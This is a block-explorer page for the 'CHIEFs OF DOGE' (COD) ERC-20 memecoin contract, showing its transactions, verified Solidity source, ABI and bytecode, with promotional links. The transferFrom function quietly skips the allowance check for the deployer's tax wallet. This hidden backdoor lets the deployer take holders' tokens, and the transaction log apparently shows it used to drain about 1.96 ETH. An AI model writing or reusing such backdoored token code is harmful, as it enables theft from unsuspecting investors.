ETH Price: $3,420.88 (+3.21%)

Contract

0x748c5A59da1A636F577d95dD423Dff42feC98A46
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer From211916462024-11-15 7:37:1112 days ago1731656231IN
0x748c5A59...2feC98A46
0 ETH0.0025172828.56075305
Approve211916462024-11-15 7:37:1112 days ago1731656231IN
0x748c5A59...2feC98A46
0 ETH0.0013394428.56075305
Approve211915362024-11-15 7:15:1112 days ago1731654911IN
0x748c5A59...2feC98A46
0 ETH0.0009118619.31509954
Approve211915162024-11-15 7:10:4712 days ago1731654647IN
0x748c5A59...2feC98A46
0 ETH0.0007498415.88315539
Approve211914992024-11-15 7:07:2312 days ago1731654443IN
0x748c5A59...2feC98A46
0 ETH0.0019453741.20674156
Approve211914982024-11-15 7:07:1112 days ago1731654431IN
0x748c5A59...2feC98A46
0 ETH0.0009418419.95020816
Approve211914972024-11-15 7:06:5912 days ago1731654419IN
0x748c5A59...2feC98A46
0 ETH0.0009068519.20892666
Approve211914892024-11-15 7:05:2312 days ago1731654323IN
0x748c5A59...2feC98A46
0 ETH0.0008038717.02755324
Approve211914062024-11-15 6:48:4712 days ago1731653327IN
0x748c5A59...2feC98A46
0 ETH0.0008269117.51560399
Approve211914052024-11-15 6:48:3512 days ago1731653315IN
0x748c5A59...2feC98A46
0 ETH0.0009305419.7107759
Approve211914052024-11-15 6:48:3512 days ago1731653315IN
0x748c5A59...2feC98A46
0 ETH0.0009305419.7107759
Approve211913532024-11-15 6:38:1112 days ago1731652691IN
0x748c5A59...2feC98A46
0 ETH0.0007670916.26918891
Approve211913132024-11-15 6:29:5912 days ago1731652199IN
0x748c5A59...2feC98A46
0 ETH0.0003599214.43960795
Approve211913092024-11-15 6:29:1112 days ago1731652151IN
0x748c5A59...2feC98A46
0 ETH0.000764816.22060542
Approve211912952024-11-15 6:26:2312 days ago1731651983IN
0x748c5A59...2feC98A46
0 ETH0.0012342926.14479271
Renounce Ownersh...211911912024-11-15 6:05:1112 days ago1731650711IN
0x748c5A59...2feC98A46
0 ETH0.0004167317.83118876
Lim Of211911872024-11-15 6:04:2312 days ago1731650663IN
0x748c5A59...2feC98A46
0 ETH0.0006786618.43408473
Approve211911812024-11-15 6:03:1112 days ago1731650591IN
0x748c5A59...2feC98A46
0 ETH0.000964620.43217837
Trade Open211911692024-11-15 6:00:4712 days ago1731650447IN
0x748c5A59...2feC98A46
0 ETH0.0719567425.40275142
Transfer211903782024-11-15 3:21:5912 days ago1731640919IN
0x748c5A59...2feC98A46
1 ETH0.0003499916.62303171
Transfer211903362024-11-15 3:13:3512 days ago1731640415IN
0x748c5A59...2feC98A46
0 ETH0.0008685915.54422176
0x60806040211898552024-11-15 1:37:1112 days ago1731634631IN
 Create: COD
0 ETH0.0528365716.99295561

Latest 11 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
211916462024-11-15 7:37:1112 days ago1731656231
0x748c5A59...2feC98A46
1.96160098 ETH
211916462024-11-15 7:37:1112 days ago1731656231
0x748c5A59...2feC98A46
1.96160098 ETH
211916202024-11-15 7:31:5912 days ago1731655919
0x748c5A59...2feC98A46
0.03191908 ETH
211916202024-11-15 7:31:5912 days ago1731655919
0x748c5A59...2feC98A46
0.03191908 ETH
211913532024-11-15 6:38:1112 days ago1731652691
0x748c5A59...2feC98A46
0.0171158 ETH
211913532024-11-15 6:38:1112 days ago1731652691
0x748c5A59...2feC98A46
0.0171158 ETH
211913072024-11-15 6:28:4712 days ago1731652127
0x748c5A59...2feC98A46
0.02271215 ETH
211913072024-11-15 6:28:4712 days ago1731652127
0x748c5A59...2feC98A46
0.02271215 ETH
211912972024-11-15 6:26:4712 days ago1731652007
0x748c5A59...2feC98A46
0.02638601 ETH
211912972024-11-15 6:26:4712 days ago1731652007
0x748c5A59...2feC98A46
0.02638601 ETH
211911692024-11-15 6:00:4712 days ago1731650447
0x748c5A59...2feC98A46
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
COD

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-15
*/

// SPDX-License-Identifier: UNLICENSE

/*

□□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ 
□□□□□□■■■■□■□□□□ □□□■■■□□□■■■□□□□ □□□□□□■■■□□□□□□□ □□□□■■■■■■■■□□□□ □□□□■■■■■■■■□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□■■■□□□□□□□ □□□□■■■■■■■■□□□□ □□□□□□□□□□□□□□□□ □□□□■■■■■■□□□□□□ □□□□□□■■■□□□□□□□ □□□□□■■■■□■□□□□□ □□□□■■■■■■■■□□□□ 
□□□□□■□□□□■■□□□□ □□□□■□□□□□■□□□□□ □□□□□□□■□□□□□□□□ □□□□□■□□□□□■□□□□ □□□□□■□□□□□■□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□■□□□■□□□□□□ □□□□□■□□□□□■□□□□ □□□□□□□□□□□□□□□□ □□□□□■□□□□■□□□□□ □□□□□■□□□■□□□□□□ □□□□■□□□□■■□□□□□ □□□□□■□□□□□■□□□□ 
□□□□■□□□□□□■□□□□ □□□□■□□□□□■□□□□□ □□□□□□□■□□□□□□□□ □□□□□■□□□□□□■□□□ □□□□□■□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□■□□□□□■□□□□□ □□□□□■□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□■□□□□□■□□□□ □□□□■□□□□□■□□□□□ □□□■□□□□□□■□□□□□ □□□□□■□□□□□□■□□□ 
□□□■□□□□□□□□□□□□ □□□□■□□□□□■□□□□□ □□□□□□□■□□□□□□□□ □□□□□■□□□□□□□□□□ □□□□□■□□□□□□□□□□ □□□□□□■■□■□□□□□□ □□□□□□□□□□□□□□□□ □□□■□□□□□□□■□□□□ □□□□□■□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□■□□□□□■□□□□ □□□■□□□□□□□■□□□□ □□□■□□□□□□□□□□□□ □□□□□■□□□□□□□□□□ 
□□□■□□□□□□□□□□□□ □□□□■□□□□□■□□□□□ □□□□□□□■□□□□□□□□ □□□□□■□□□■□□□□□□ □□□□□■□□□□■□□□□□ □□□□□■□□■■□□□□□□ □□□□□□□□□□□□□□□□ □□□■□□□□□□□■□□□□ □□□□□■□□□□■□□□□□ □□□□□□□□□□□□□□□□ □□□□□■□□□□□■□□□□ □□□■□□□□□□□■□□□□ □□□■□□□□□□□□□□□□ □□□□□■□□□■□□□□□□ 
□□□■□□□□□□□□□□□□ □□□□■■■■■■■□□□□□ □□□□□□□■□□□□□□□□ □□□□□■■■■■□□□□□□ □□□□□■■■■■■□□□□□ □□□□□■□□□■□□□□□□ □□□□□□□□□□□□□□□□ □□□■□□□□□□□■□□□□ □□□□□■■■■■■□□□□□ □□□□□□□□□□□□□□□□ □□□□□■□□□□□■□□□□ □□□■□□□□□□□■□□□□ □□□■□□□□□■■■□□□□ □□□□□■■■■■□□□□□□ 
□□□■□□□□□□□□□□□□ □□□□■□□□□□■□□□□□ □□□□□□□■□□□□□□□□ □□□□□■□□□■□□□□□□ □□□□□■□□□□■□□□□□ □□□□□□■■□□□□□□□□ □□□□□□□□□□□□□□□□ □□□■□□□□□□□■□□□□ □□□□□■□□□□■□□□□□ □□□□□□□□□□□□□□□□ □□□□□■□□□□□■□□□□ □□□■□□□□□□□■□□□□ □□□■□□□□□□■□□□□□ □□□□□■□□□■□□□□□□ 
□□□■□□□□□□□□□□□□ □□□□■□□□□□■□□□□□ □□□□□□□■□□□□□□□□ □□□□□■□□□□□□□□□□ □□□□□■□□□□□□□□□□ □□□□□□□□■□□□□□□□ □□□□□□□□□□□□□□□□ □□□■□□□□□□□■□□□□ □□□□□■□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□■□□□□□■□□□□ □□□■□□□□□□□■□□□□ □□□■□□□□□□■□□□□□ □□□□□■□□□□□□□□□□ 
□□□□■□□□□□□■□□□□ □□□□■□□□□□■□□□□□ □□□□□□□■□□□□□□□□ □□□□□■□□□□□□■□□□ □□□□□■□□□□□□□□□□ □□□□□■□□□■□□□□□□ □□□□□□□□□□□□□□□□ □□□□■□□□□□■□□□□□ □□□□□■□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□■□□□□□■□□□□ □□□□■□□□□□■□□□□□ □□□■□□□□□□■□□□□□ □□□□□■□□□□□□■□□□ 
□□□□□■□□□□■□□□□□ □□□□■□□□□□■□□□□□ □□□□□□□■□□□□□□□□ □□□□□■□□□□□■□□□□ □□□□□■□□□□□□□□□□ □□□□□■■□□■□□□□□□ □□□□□□□□□□□□□□□□ □□□□□■□□□■□□□□□□ □□□□□■□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□■□□□□■□□□□□ □□□□□■□□□■□□□□□□ □□□□■□□□□■■□□□□□ □□□□□■□□□□□■□□□□ 
□□□□□□■■■■□□□□□□ □□□■■■□□□■■■□□□□ □□□□□□■■■□□□□□□□ □□□□■■■■■■■■□□□□ □□□□■■■□□□□□□□□□ □□□□□■□■■□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□■■■□□□□□□□ □□□□■■■□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□■■■■■■□□□□□□ □□□□□□■■■□□□□□□□ □□□□□■■■■□■□□□□□ □□□□■■■■■■■■□□□□ 
□□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ 
□□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ 
□□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□□□ 

https://www.freepressjournal.in/world/trump-makes-elon-musk-and-vivek-ramaswamy-chiefs-of-doge-know-more-about-the-department

https://t.me/Chiefs_Of_Doge
https://www.chiefsofdoge.vip/
https://x.com/ChiefsOfDoge

*/

pragma solidity 0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract COD is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;
	
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"CHIEFs OF DOGE";
    string private constant _symbol = unicode"COD";
    uint256 public _maxTxAmount = 1250000 * 10**_decimals;
    uint256 public _maxWalletSize = 1250000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000 * 10**_decimals;
    uint256 public _maxTaxSwap= 750000 * 10**_decimals;
    
    address public uniswapV2Pair;
    IUniswapV2Router02 private uniswapV2Router;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if(_msgSender() == _taxWallet){}
		else{_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));}
        
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            require(!bots[from] && !bots[to]);

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
			
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    _taxWallet.transfer(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function LimOf() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
	
    function sendETHToFee(uint256 amount) external {
		require(_msgSender()==_taxWallet);
        _taxWallet.transfer(amount);
    }

    function TradeOpen() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          _taxWallet.transfer(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"LimOf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TradeOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendETHToFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600655600f6007555f6008555f600955600f600a55600f600b55600f600c555f600d556009600a61003791906105ae565b621312d061004591906105f8565b600e556009600a61005691906105ae565b621312d061006491906105f8565b600f556009600a61007591906105ae565b61271061008291906105f8565b6010556009600a61009391906105ae565b620b71b06100a191906105f8565b6011555f601360156101000a81548160ff0219169083151502179055505f601360166101000a81548160ff0219169083151502179055505f6014555f6015553480156100eb575f80fd5b505f6100fb61040f60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101a561040f60201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6101f291906105ae565b6305f5e10061020191906105f8565b60015f61021261040f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61026261041660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061038a61040f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6103e691906105ae565b6305f5e1006103f591906105f8565b6040516104029190610648565b60405180910390a3610661565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156104bf5780860481111561049b5761049a61043d565b5b60018516156104aa5780820291505b80810290506104b88561046a565b945061047f565b94509492505050565b5f826104d75760019050610592565b816104e4575f9050610592565b81600181146104fa576002811461050457610533565b6001915050610592565b60ff8411156105165761051561043d565b5b8360020a91508482111561052d5761052c61043d565b5b50610592565b5060208310610133831016604e8410600b84101617156105685782820a9050838111156105635761056261043d565b5b610592565b6105758484846001610476565b9250905081840481111561058c5761058b61043d565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105b882610599565b91506105c3836105a2565b92506105f07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846104c8565b905092915050565b5f61060282610599565b915061060d83610599565b925082820261061b81610599565b915082820484148315176106325761063161043d565b5b5092915050565b61064281610599565b82525050565b5f60208201905061065b5f830184610639565b92915050565b6130ec8061066e5f395ff3fe608060405260043610610122575f3560e01c8063715018a61161009f5780638f9a55c0116100635780638f9a55c01461038757806395d89b41146103b1578063a9059cbb146103db578063bf474bed14610417578063dd62ed3e1461044157610129565b8063715018a6146102f15780637380cc34146103075780637d1db4a51461031d57806388375563146103475780638da5cb5b1461035d57610129565b806323b872dd116100e657806323b872dd1461020f578063313ce5671461024b57806349bd5a5e1461027557806351bc3c851461029f57806370a08231146102b557610129565b806306b501971461012d57806306fdde0314610155578063095ea7b31461017f5780630faee56f146101bb57806318160ddd146101e557610129565b3661012957005b5f80fd5b348015610138575f80fd5b50610153600480360381019061014e91906121c6565b61047d565b005b348015610160575f80fd5b50610169610544565b6040516101769190612261565b60405180910390f35b34801561018a575f80fd5b506101a560048036038101906101a091906122db565b610581565b6040516101b29190612333565b60405180910390f35b3480156101c6575f80fd5b506101cf61059e565b6040516101dc919061235b565b60405180910390f35b3480156101f0575f80fd5b506101f96105a4565b604051610206919061235b565b60405180910390f35b34801561021a575f80fd5b5061023560048036038101906102309190612374565b6105c7565b6040516102429190612333565b60405180910390f35b348015610256575f80fd5b5061025f6106f8565b60405161026c91906123df565b60405180910390f35b348015610280575f80fd5b50610289610700565b6040516102969190612407565b60405180910390f35b3480156102aa575f80fd5b506102b3610725565b005b3480156102c0575f80fd5b506102db60048036038101906102d69190612420565b610818565b6040516102e8919061235b565b60405180910390f35b3480156102fc575f80fd5b5061030561085e565b005b348015610312575f80fd5b5061031b6109ac565b005b348015610328575f80fd5b50610331610adb565b60405161033e919061235b565b60405180910390f35b348015610352575f80fd5b5061035b610ae1565b005b348015610368575f80fd5b50610371611003565b60405161037e9190612407565b60405180910390f35b348015610392575f80fd5b5061039b61102a565b6040516103a8919061235b565b60405180910390f35b3480156103bc575f80fd5b506103c5611030565b6040516103d29190612261565b60405180910390f35b3480156103e6575f80fd5b5061040160048036038101906103fc91906122db565b61106d565b60405161040e9190612333565b60405180910390f35b348015610422575f80fd5b5061042b61108a565b604051610438919061235b565b60405180910390f35b34801561044c575f80fd5b506104676004803603810190610462919061244b565b611090565b604051610474919061235b565b60405180910390f35b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104bd611112565b73ffffffffffffffffffffffffffffffffffffffff16146104dc575f80fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610540573d5f803e3d5ffd5b5050565b60606040518060400160405280600e81526020017f434849454673204f4620444f4745000000000000000000000000000000